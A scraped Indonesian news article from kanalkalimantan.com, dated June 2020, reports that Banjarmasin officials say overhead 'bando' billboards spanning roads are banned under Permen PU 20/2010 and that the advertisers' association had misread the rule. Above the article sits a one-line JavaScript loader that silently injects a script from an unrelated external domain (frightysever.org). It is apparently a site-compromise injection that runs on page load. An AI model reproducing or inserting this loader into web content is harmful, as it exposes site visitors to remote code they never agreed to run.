(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Asisten II: Reklame Bando Tidak Diperbolehkan Melintang di Atas Jalan


KANALKALIMANTAN.COM, BANJARMASIN – Setelah mencapai kesepakatan dengan Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan, iklan-iklan yang ditempatkan di bando reklame sempat ditertibkan dapat kembali ditayangkan.

Namun demikian, APPSI Kalsel diminta untuk menyusun konsep baru pengganti papan reklame bando.

Kepada awak media, Selasa (9/6/2020) siang, Asisten II Bidang Ekonomi Setdako Banjarmasin Ir Doyo Pudjadi mengatakan, berdasarkan Permen PU Nomor 20 tahun 2010 pasal 8 ayat (3) menyebutkan bahwa reklame yang melintang di atas jalan sudah tidak diperbolehkan. Doyo mengklaim, APPSI Kalsel menerima penjelasan ini.

Namun demikian, Doyo menyebut bahwa APPSI Kalsel selama ini belum memahami bando reklame itu tidak diperbolehkan membentang di atas jalan. Selama ini, menurut Doyo, asumsi dari APPSI Kalsel itu boleh.

Berdasarkan Permen PU Nomor 20 tahun 2010 pasal 8 ayat (3) menyebutkan bahwa reklame yang melintang di atas jalan sudah tidak diperbolehkan. foto: fikri

“Karena ada ayat yang menyebutkan ada kata ‘lapangan’, sehingga boleh ada bando. (Asumsi mereka) lapangan itu, ya jalan,” kaya Doyo.

Baca juga: Papan Reklame Bando  Diubah Bentuk, Wali Kota Enggan Komentar

Kendati begitu, setelah mendapatkan penjelasan dari Kabag Hukum Setdako Banjarmasin bahwa ada penjelasan kata ‘lapangan’. Di mana, kata ‘lapangan’ yang dimaksud bukanlah jalan raya, tetapi lapangan terbuka.

“Jadi sekarang mereka baru memahami bahwa bando (reklame) itu tidak boleh, baru hari ini. Selama ini mereka beranggapan boleh, karena ada misinterpretasi,” lugas Doyo.

Diakui Doyo, pengusaha periklanan yang tergabung dalam APPSI Kalsel ini sudah terikat kontrak dengan kliennya. Mengingat penggunaan bando reklame sendiri memiliki tenggat waktu yang disepakati antara pengusaha periklanan dengan klien.

Sehingga, ketika bando reklame itu ‘dipotong’ di tengah jalan, akan menjadi sebuah masalah. Akibatnya, pengusaha periklanan harus membayar ganti rugi kepada klien. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

8 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

8 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

9 jam ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

10 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

10 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

11 jam ago

This website uses cookies.